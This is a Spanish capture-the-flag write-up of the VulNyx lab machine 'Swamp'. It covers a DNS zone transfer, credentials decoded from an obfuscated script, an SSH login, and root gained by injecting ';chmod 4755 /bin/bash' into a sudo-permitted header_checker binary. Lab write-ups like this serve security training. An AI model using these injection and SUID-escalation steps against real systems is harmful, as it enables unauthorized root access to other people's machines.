🟢 NYX - Swamp

#vulnyx #nyx #linux #dns #zone transfer #command injection

Enero 13, 2025 by Miguel R. (d4t4s3c)

Information

Swamp es una máquina Linux de la plataforma VulNyx, tiene un nivel de dificultad fácil y fue creada por el usuario J4ckie0x17.

  • Acceso inicial: Mediante una transferencia de zona DNS se obtienen subdominios y en uno de ellos se encuentran credenciales para el servicio SSH en un código oculto ofuscado.
  • Escalada de privilegios: El usuario dispone de permisos sudo sobre un binario que es vulnerable a command injection y permitirá obtener una shell como usuario root.


Enumeration

Nmap

TCP
 nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.45
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 16:33 CET
Nmap scan report for 192.168.1.45
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http
 nmap -sVC -p22,53,80 192.168.1.45
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 16:34 CET
Nmap scan report for 192.168.1.45
Host is up (0.00036s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_  256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
53/tcp open  domain  ISC BIND 9.18.28-1~deb12u2 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.18.28-1~deb12u2-Debian
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://swamp.nyx

Shell (shrek)

80/TCP (HTTP)

Como se puede ver en el nmap inicial y en el sitio web, existe un redirect al dominio swamp.nyx que agrego a mi archivo /etc/hosts

80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://swamp.nyx

53/TCP (DNS)

Zone Transfer (AXFR)

Obtengo varios subdominios que también agrego a mi archivo /etc/hosts

 dig axfr swamp.nyx @192.168.1.45

; <<>> DiG 9.19.21-1-Debian <<>> axfr swamp.nyx @192.168.1.45
;; global options: +cmd
swamp.nyx.		604800	IN	SOA	ns1.swamp.nyx. . 2025010401 604800 86400 2419200 604800
swamp.nyx.		604800	IN	NS	ns1.swamp.nyx.
d0nkey.swamp.nyx.	604800	IN	A	0.0.0.0
dr4gon.swamp.nyx.	604800	IN	A	0.0.0.0
duloc.swamp.nyx.	604800	IN	A	0.0.0.0
f1ona.swamp.nyx.	604800	IN	A	0.0.0.0
farfaraway.swamp.nyx.	604800	IN	A	0.0.0.0
ns1.swamp.nyx.		604800	IN	A	0.0.0.0
shr3k.swamp.nyx.	604800	IN	A	0.0.0.0
swamp.nyx.		604800	IN	SOA	ns1.swamp.nyx. . 2025010401 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 192.168.1.45#53(192.168.1.45) (TCP)
;; WHEN: Sat Feb 22 16:44:38 CET 2025
;; XFR size: 10 records (messages 1, bytes 309)

80/TCP (HTTP)

Vuelvo al sitio web pero ahora desde el subdominio farfaraway.swamp.nyx

La página importa script.js y dispone de un código ofuscado

Realizo un decode a la cadena en base64 y obtengo las credenciales shrek:putopesaoelasno

 base64 -d <<< 'c2hyZWs6cHV0b3Blc2FvZWxhc25v' ;echo
shrek:putopesaoelasno

22/TCP (SSH)

Accedo al sistema como usuario shrek con las credenciales obtenidas

 ssh shrek@192.168.1.45
shrek@192.168.1.45's password: 

shrek@swamp:~$ id ; hostname
uid=1000(shrek) gid=1000(shrek) groups=1000(shrek)
swamp

Privilege Escalation

El usuario shrek puede ejecutar como root el binario header_checker con sudo

shrek@swamp:~$ sudo -l
Matching Defaults entries for shrek on swamp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User shrek may run the following commands on swamp:
    (ALL) NOPASSWD: /home/shrek/header_checker

Reviso la ayuda de header_checker y basta con pasar el parámetro --url para su uso

shrek@swamp:~$ sudo -u root /home/shrek/header_checker --help
Usage: /home/shrek/header_checker --url '<url>' [--timeout <timeout>] [--method <method>] [--headers <custom_headers>]

Flags:
  --url '<url>'             The URL to fetch headers from (required)
  --timeout <timeout>     The maximum time (in seconds) to wait for a response (optional, default: 10)
  --method <method>       The HTTP method to use (optional, default: GET)
  --headers <headers>     Custom headers to send with the request (optional)
  --help                  Display this help message
Example: ./header_checker --url "google.com"

Command Injection

Consigo ejecutar comandos como usuario root

shrek@swamp:~$ sudo -u root /home/shrek/header_checker --url ";id" 2>/dev/null |tail -n1
uid=0(root) gid=0(root) groups=0(root)

Le asigno permisos 4755/SUID a /bin/bash y me convierto en root

shrek@swamp:~$ sudo -u root /home/shrek/header_checker --url ";chmod 4755 /bin/bash"
shrek@swamp:~$ /bin/bash -pi
bash-5.2# id ; hostname
uid=1000(shrek) gid=1000(shrek) euid=0(root) groups=1000(shrek)
swamp

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt

bash-5.2# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
9c7bd***************************
7d199***************************

Hasta aquí la resolución de la máquina Swamp.

Happy Hacking!


© d4t4s3c 2023-2025

results matching ""

    No results matching ""